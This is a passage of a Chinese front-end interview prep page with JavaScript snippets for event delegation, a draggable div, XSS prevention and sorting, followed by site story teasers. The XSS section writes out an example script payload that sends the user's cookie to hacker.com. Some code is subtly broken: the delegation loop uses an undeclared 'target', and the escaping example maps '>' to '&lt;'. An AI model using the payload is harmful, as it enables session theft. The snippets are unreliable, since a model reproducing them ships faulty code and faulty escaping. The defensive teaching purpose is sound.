    console.log('点击')
  }
})

12K+版本

ul.addEventListener('click', function(e) {
  var el= e.target;
  while (target !== ul) {
    if (target.tagName.toLowerCase() == 'li') {
      console.log('li被点击了');
      break;
    }
    el= el.parentNode;
  }
})

8.2 用mouse事件实现一个可拖曳的div

xxx.style.left 1. 一开始是空 2. 自带px,需要parseInt

var dragging = false
var position = null

xxx.addEventListener('mousedown',(e)=>{
  dragging = true
  position = [e.clientX,e.clientY]
})

document.addEventListener('mousemove',(e)=>{
  if(dragging === false){return}
  let x = e.clientX
  let y = e.clientY
  const deltaX = x - position[0]
  const deltaY = y - position[1]
  const left = parseInt(xxx.style.left || 0)
  const top = parseInt(xxx.style.top || 0)
  xxx.style.left = left + deltaX + 'px'
  xxx.style.top = top + deltaY + 'px'
  position = [x,y]
})

document.addEventListener('mouseup',()=>{
  dragging = false
})

九、安全押题

9.1 什么是XSS攻击,如何预防?

  • 恶意代码被执行,这就是XSS
div.innerHTML = userComment  
//userComment 内容是<script>$.get('http://hacker.com?cookie='+document.cookie')</script>
  • 预防
    1. 不要使用innerHTML,改成innerText
    2. 如果一定用innerHTML,就需要进行字符过滤
      • 把 < 改为&lt;,
      • 把 > 改为&gt;,
      • 把 & 改为&amp;
      • 把 ' 改为&#39;
      • 把 " 改为&quot;
  • 代码 div.innerHTML = userComment.replace(/>/g,'&lt;').replace...

9.2 CSRF攻击?如何预防?

十、算法

10.1 冒泡排序

function bubbleSort(arr) {
    var len = arr.length;
    for (var i = 0; i < len - 1; i++) {
        for (var j = 0; j < len - 1 - i; j++) {
            if (arr[j] > arr[j+1]) {        // 相邻元素两两对比
                var temp = arr[j+1];        // 元素交换
                arr[j+1] = arr[j];
                arr[j] = temp;
            }
        }
    }
    return arr;
}

10. 2 快速排序

function quickSort(arr) {
    if(arr.length <=1){
        return arr
    }
    let left = []
    let right = []
    let current = arr.splice(0,1)
    for(let i = 0;i<arr.length;i++){
        if(arr[i]<current){
            left.push(arr[i])
        }else{
            right.push(arr[i])
        }
    }
    return quickSort(left).concat(current,quickSort(right))
}
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342

推荐阅读更多精彩内容

  • 前端开发面试题 面试题目: 根据你的等级和职位的变化,入门级到专家级,广度和深度都会有所增加。 题目类型: 理论知...
    怡宝丶阅读 2,568评论 0 7
  • 一:什么是闭包?闭包的用处? (1)闭包就是能够读取其他函数内部变量的函数。在本质上,闭包就 是将函数内部和函数外...
    xuguibin阅读 9,513评论 1 52
  • 第一部分 HTML&CSS整理答案 1. 什么是HTML5? 答:HTML5是最新的HTML标准。 注意:讲述HT...
    kismetajun阅读 27,406评论 1 45
  • 【转载】CSDN - 张林blog http://blog.csdn.net/XIAOZHUXMEN/articl...
    竿牍阅读 3,479评论 1 14
  • 请参看我github中的wiki,不定期更新。https://github.com/ivonzhang/Front...
    zhangivon阅读 7,097评论 2 19